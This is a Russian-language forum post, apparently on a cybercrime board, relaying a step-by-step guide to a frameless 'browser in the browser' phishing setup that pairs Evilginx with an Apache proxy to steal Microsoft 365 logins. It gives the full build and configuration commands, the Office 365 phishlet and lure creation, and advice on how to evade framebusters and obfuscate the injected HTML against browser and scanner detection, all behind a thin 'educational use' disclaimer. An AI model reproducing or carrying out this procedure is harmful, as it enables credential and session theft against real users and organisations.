What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Статья Рабочий метод BiTB (браузер в браузере) без фреймов 2024

bratva

Midle Weight
Депозит
$0
Прошлое обсуждение метода (с фреймами, не везде работает на данный момент): https://xss.is/threads/68057/post-547281

Новый подход к методу "браузер в браузере" (BITB) без использования iframes, обходит все традиционные "фрейморезки" на стандартных страницах авторизации как у Microsoft.

Этот POC код написан для использования нового метода BITB с Evilginx и фишлетом для Microsoft Enterprise.

poc-optimized.gif



До погружения в тему автор рекомендует сначала ознакомиться с его выступлением на BSides 2023, где он впервые представил концепт с важными деталями как провести идеальную фишинговую атаку:

Примечание​

Представленный инструмент предназначен только для образовательных и исследовательских целей. Ниже будет продемонстрирован метод под названием "браузер в браузере" без использования iframe (BITB). Автор снимает с себя ответственность за любые последствия. Используйте метод только легально и этично, в контроллируемых средах для целей тестирования систем инфозащиты. Используя данный инструмент, вы соглашаетесь делать это ответственно с пониманием того, что вы несете все риски использования.

С чего все началось и почему​

На протяжение последнего года автор экспериментировал с различными трюками, чтобы подготовиться к "идеальной" фишинг-атаке. Типичные "красные флаги", на которые людей обычно учат обращать внимание, это срочность (действия), угрозы (получателю), авторитет (ссылки), плохая грамматика (текста) и т. д. Следующая рекомендуемая вещь - проверить ссылку сайта, с которым идет взаимодействие, поэтому люди обычно очень осторожны в момент, когда их просят ввести чувствительные данные, такие как электронная почта или пароли.

В этот момент в игру вступает атака "браузер в браузере" (BITB). Впервые представленная широкой общественности @mrd0x, концепт BITB заключается в том, чтобы создавать правдоподобное окно браузера, внутри которого атакующий контролирует все содержимое (представляя фальшивый сайт в фрейме). Фальшивая строка ссылки в фальшивом окне браузера представляет собой реальную ссылку сайта, которую посетитель ожидает там увидеть. Вместе с таким инструментом как Evilginx такая атака становится идеальной для правдоподбного фишинга.

Но возникает проблема, потому что в последние месяцы-годы популярные сайты, такие как сервисы Microsoft реализовали различные маленький скрипты, так называемые "фреймо-убийцы" и "фрейморезалки", предназначение которых запретить iframe, которые могут служить для вывода проксированных сайтов, как в случае Evilginx.

В двух словах, Evilginx + BITB для сервисов Microsoft больше не работает. Как минимум не с BITB, основанным на iframe.

Что делать?​

Организуем "браузер в браузере" без каких-либо iframe! Именно так.

Подразумевается, что мы будем сейчас использовать BITB с Evilginx на страницах авторизации таких сервисов как Microsoft.

Evilginx здесь только для примера, но вы можете использовать ту же концепцию с другими инструментами.


Как?​

Фрейморезалки направлены в первую очередь на iframe, поэтому наша идея - воссоздать эффект BITB без использования iframes и без нарушения оригинальной структуры содержания проксированной страницы. Это может быть достигнуто путем инъекции скриптов и HTML помимо исходного контента, используя поиск (search) и замену (replace) (известные как substitutions), полагаясь всецело на трюки HTML/CSS/JS для достижения визуального эффекта. Мы также будем использовать еще один трюк под названием "теневой DOM" ("Shadow DOM") в HTML для размещения нашего контента на посадочной странице (фоном) таким образом, что он (контент) не будет взаимодействовать с проксированным содержимым, позволяя нам гибко использовать любую посадочную страницу с минимальными дополнительными JS скриптами.

Инструкции​

Видео​


Локальная VM:​

Создайте локальную виртуалку Linux. (Я лично предпочитаю использовать Ubuntu 22 на VMWare Player или Parallels Desktop)

sudo apt update && sudo apt upgrade -y

Настройка Evilginx​

Опционально:

Создайте нового пользователя Evilginx user и дайте ему привилегии sudo group:

sudo su

adduser evilginx

usermod -aG sudo evilginx

Проверьте, что этот пользователь evilginx состоит в группе sudo:

su - evilginx

sudo ls -la /root

Перейдите в пользовательскую домашнюю директорию (home dir):

cd /home/evilginx

(У вас теперь есть права sudo user и теперь мы можем провести наши эксперименты локально.)

Настройка Evilginx​


Загрузите и соберите Evilginx: Official Docs

Скопируйте файлы Evilginx в /home/evilginx

Установите: Official Docs

wget https://go.dev/dl/go1.21.4.linux-amd64.tar.gz

sudo tar -C /usr/local -xzf go1.21.4.linux-amd64.tar.gz

nano ~/.profile

Добавляем: export PATH=$PATH:/usr/local/go/bin

source ~/.profile

Проверяем:

go version

Устанавливаем:

sudo apt install make

Собираем Evilginx:

cd /home/evilginx/evilginx2

make

Создаем новую директорию для нашей установки evilginx вместе с фишлетами и редиректорами:

mkdir /home/evilginx/evilginx

Копируем сборку, фишлеты и редиректоры:

cp /home/evilginx/evilginx2/build/evilginx /home/evilginx/evilginx/evilginx

cp -r /home/evilginx/evilginx2/redirectors /home/evilginx/evilginx/redirectors

cp -r /home/evilginx/evilginx2/phishlets /home/evilginx/evilginx/phishlets

Быстрый фикс для фаервола Ubuntu (спасибо @kgretzky)

sudo setcap CAP_NET_BIND_SERVICE=+eip /home/evilginx/evilginx/evilginx

В Ubuntu, если вы получили ошибку Failed to start nameserver on: :53, попробуйте отредактировать этот файл

sudo nano /etc/systemd/resolved.conf

редактировать/добавить строчку DNSStubListener на no > DNSStubListener=no

затем

sudo systemctl restart systemd-resolved

Редактируем конфиг Evilginx:​

Так как мы будем использовать Apache2 до Evilginx, нам нужно поставить листенер Evilginx на порт, отличный от 443.

nano ~/.evilginx/config.json

Поменяйте https_port c 443 на 8443

Установка Apache2 с модами:​

Установите Apache2:

sudo apt install apache2 -y

Включите моды Apache2, которые мы будем использовать: (Мы также отключим модуль access_compat, потому что он иногда вызывает проблемы)

Код: Скопировать в буфер обмена
Code:
sudo a2enmod proxy
sudo a2enmod proxy_http
sudo a2enmod proxy_balancer
sudo a2enmod lbmethod_byrequests
sudo a2enmod env
sudo a2enmod include
sudo a2enmod setenvif
sudo a2enmod ssl
sudo a2ensite default-ssl
sudo a2enmod cache
sudo a2enmod substitute
sudo a2enmod headers
sudo a2enmod rewrite
sudo a2dismod access_compat

Запустите и включите Apache:

sudo systemctl start apache2

sudo systemctl enable apache2

Проверьте работу сети в Apache и VM - посетите IP-адрес виртуалки через браузер на хост-машине.

Клонируйте репо:​


Установите git, если он еще не установлен:

sudo apt -y install git

Клонируйте репо автора:

git clone https://github.com/waelmas/frameless-bitb

cd frameless-bitb

Настройка страниц Apache:​

Сделаем директории для страниц, которые мы будем показывать:
  • домашняя (home): (Опционально) Домашняя страница (на главном домене)
  • основная (primary): Посадочная страница (в фоне)
  • вторичная (secondary): окно BITB (на первом плане)
Код: Скопировать в буфер обмена
Code:
sudo mkdir /var/www/home
sudo mkdir /var/www/primary
sudo mkdir /var/www/secondary

Копируйте директории для каждой страницы:

sudo cp -r ./pages/home/ /var/www/

sudo cp -r ./pages/primary/ /var/www/

sudo cp -r ./pages/secondary/ /var/www/

Опционально: Удалите страницу по-умолчанию в Apache (не используется):

sudo rm -r /var/www/html/

Скопируйте фишлет О365 в директорию для фишлетов:

sudo cp ./O365.yaml /home/evilginx/evilginx/phishlets/O365.yaml

Опционально: Для того, чтобы использовать виджет Calendly на своем аккаунте вместо установленного мной, перейдите на pages/primary/script.js и поменяйте CALENDLY_PAGE_NAME и CALENDLY_EVENT_TYPE.

Примечание для демо обфускации (Demo Obfuscation): Как я объясняю в видео, я включил минимальную обфускацию для текстового содержимого, такого как ссылки и заголовка в BITB. Вы можете открыть мой демо обфускатор в браузере, посетив demo-obfuscator.html. В настоящей атаке я бы очень рекомендовал обфусцировать большие куски HTML кода, куда вы делаете инъекции, или использовать JS трюки, чтобы предотвратить детекты и пометки в браузере. Усовершенствованная версия, над которой работает автор, будет использовать более продвинутые технологии, дабы сделать практически невозможным для сканнеров сделать сигнатуры и определить BITB код, следите за новостями.

Самоподписанные SSL сертификаты:​


Так как мы запускаем все локально, мы должны сгенерировать самоподписанные SSL сертификаты для использования их через Apache. Для Evilginx сертификаты не требуются, так как мы запускаем его в режиме разработчика.

Мы будем использовать домен fake.com ведующий на нашу локальную VM. Если вы хотите использовать другой домен, будьте уверены, что вы поменяли его во всех файлах (Файлы Apache conf, JS файлы и т.д.)

Создайте директорию и родительские директории, если они еще не созданы:

sudo mkdir -p /etc/ssl/localcerts/fake.com/

Сгенерируйте SSL сертификаты, используя конфиг OpenSSL:

Код: Скопировать в буфер обмена
Code:
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/ssl/localcerts/fake.com/privkey.pem -out /etc/ssl/localcerts/fake.com/fullchain.pem \
-config openssl-local.cnf

Поменяйте права для личного ключа:

sudo chmod 600 /etc/ssl/localcerts/fake.com/privkey.pem

Разные конфиги Apache:​

Скопируйте разные файлы дополнений (substitution files) (это будет основа нашего метода):

sudo cp -r ./custom-subs /etc/apache2/custom-subs

Важное замечание: в это репо я включил два конфига дополнений (substitution) для Chrome на Mac и Chrome на Windows BITB. Оба имеют авто-детект и стили для светлого/темного режимов и они могут использоваться как базовые шаблоны, чтобы достичь тех же самых результатов для других браузеров и операционных систем. Так как я не включаю автоматически детект комбинаций браузера/ОС посетителей нашей фишинговой страницы, вам нужно будет реализовать его самим, исходя из своей собственной логики и задач.

Оба конфига файлов в /apache-configs/ одинаковые, с тем различием что разная директива Include использована для файла дополнения (substitution), который будет включен туда (в каждом файле 2 отсылки на него)

Код: Скопировать в буфер обмена
Code:
# Снимите комментарий с того файла, который вы хотите использовать и не забудьте перезагрузить Apache после любых изменений:
#Include /etc/apache2/custom-subs/win-chrome.conf
Include /etc/apache2/custom-subs/mac-chrome.conf

Для того, чтобы все сделать проще, автор включил две версии как два разных файла в следующем шаге.

Windows/Chrome BITB:

sudo cp ./apache-configs/win-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf

Mac/Chrome BITB:

sudo cp ./apache-configs/mac-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf

Проведем тест конфигов Аpache, чтобы убедиться, что они не содержат ошибок:

sudo apache2ctl configtest

Перезагрузим Apache, чтобы применить изменения:

sudo systemctl restart apache2

Редактируем Hosts:​

Получим IP-адрес VM через ifconfig и сохраним его где-нибудь для следующего шага.

Теперь мы должны добавить несколько новых записей в наш файл hosts, чтобы припарковать наш домен для этого теста - fake.com, а также все сабдомены для VM, на котором работают Apache и Evilginx.

В Windows:

Откройте Notepad как Администратор (Search > Notepad > правый клик > Run as Administrator)

Нажмите на опцию File (левый верхний угол) и скопируйте в адресную строку File Explorer:

C:\Windows\System32\drivers\etc\

Поменяйте тип файлов (правый нижний угол) на "All files".

Два раза нажмите на файл с именем hosts


В Mac:

Откройте терминал и введите следующее:

sudo nano /private/etc/hosts

Теперь отредактируйте следующие записи (замените [IP] на IP-адрес вашей VM) и вставьте в конец файла hosts:

Код: Скопировать в буфер обмена
Code:
# Local Apache and Evilginx Setup
[IP] login.fake.com
[IP] account.fake.com
[IP] sso.fake.com
[IP] www.fake.com
[IP] portal.fake.com
[IP] fake.com
# End of section

Сохраните и закройте.

Теперь перезагрузите ваш браузер до перехода к следующему шагу.

Примечание: в Mac используйте следующую команду для сброса кэша DNS:

sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder

Важное примечание:​

Демо выполнено с помощью предоставленного в наборе Evilginx фишлета Office 365 Enterprise. Чтобы получить записи host для другого фишлета, используйте phishlet get-hosts [PHISHLET_NAME], но не забывайте заменить 127.0.0.1 на реальный локальный IP-адрес вашей VM.

Доверие к самоподписанным SSL сертификатам:​

По причине того, что сейчас мы используем самоподписанные SSL сертификаты, при посещении fake.com наш браузер будет каждый раз предупреждать нас об этом, поэтому нам нужно заставить нашу хост-машину доверять сертификационному центру, что подписал наши SSL сертификаты.

Для этого шага просто проще следовать инструкциям с видео автора, но мы распишем суть здесь.

Откройте https://fake.com/ в вашем браузере Chrome.

Не обращайте внимания на предупреждение Unsafe Site и перейдите дальше на страницу.

Нажмите на иконку SSL > Details > Export Certificate IMPORTANT: Когда сохраняете, имя ДОЛЖНО заканчиваться на .crt, чтобы не было проблем при открытии в Windows.

Нажмите два раза > установите для текущего пользователя. НЕ выбирайте место по-умолчанию, вместо этого сохраните сертификат в специализированном хранилище: выберите "Trusted Route Certification Authorities".

On Mac: установите только для текущего пользователя > выберите "Keychain: login" И нажмите на "View Certificates" > details > trust > Always trust

Теперь ПЕРЕЗАГРУЗИТЕ ваш браузер

Вы должны теперь видеть страницу https://fake.com без всяких SSL предупреждений.

Запуск Evilginx:​

На этой стадии все должно быть готово, чтобы мы могли успешно запустить Evilginx, настроить фишлет, создать нашу приманку и протестировать ее.

Опционально: установить tmux (позволить поддерживать работу evilginx, даже если сесия в терминале закрыта. Особенно полезно на удаленном VM.)

sudo apt install tmux -y

Запустите Evilginx в режиме разработчика (используем tmux, чтобы не потерять сессию):

tmux new-session -s evilginx

cd ~/evilginx/

./evilginx -developer

(Для пере-прикрепления к сессии tmux используйте tmux attach-session -t evilginx)

Конфиг Evilginx:

config domain fake.com

config ipv4 127.0.0.1


ВАЖНО: настройте режим Evilginx Blacklist на NoAdd для избежания попадания процессов Apache в черный список, так как все запросы будут приходить от Apache, а не настоящего посетителя с IP.

blacklist noadd

Настроим Phishlet и приманку:

phishlets hostname O365 fake.com

phishlets enable O365

lures create O365

lures get-url 0

Скопируйте ссылку страницы-приманки и посетите ее в своем браузере (используйте гостевого пользователя в Chrome, чтобы избежать необходимость каждый раз удалять сохраненные данные и кэша между тестами).

Полезные ссылки​

Оригинальный BITB на фреймах от @mrd0x:https://github.com/mrd0x/BITB
Курс мастерства Evilginx от его создателя @kgretzky:https://academy.breakdev.org/evilginx-mastery
Доклад автора на BSides 2023:Как защитить Evilginx используя Cloudflare и обфускацию HTML:https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation
Ресурсы Evilginx для Microsoft 365 от @BakkerJan:https://janbakker.tech/evilginx-resources-for-microsoft-365/

Автор:
github.com

GitHub - waelmas/frameless-bitb: A new approach to Browser In The Browser (BITB) without the use of iframes, allowing the bypass of traditional framebusters implemented by login pages like Microsoft and the use with Evilginx.

A new approach to Browser In The Browser (BITB) without the use of iframes, allowing the bypass of traditional framebusters implemented by login pages like Microsoft and the use with Evilginx. - wa...
github.com

 
Top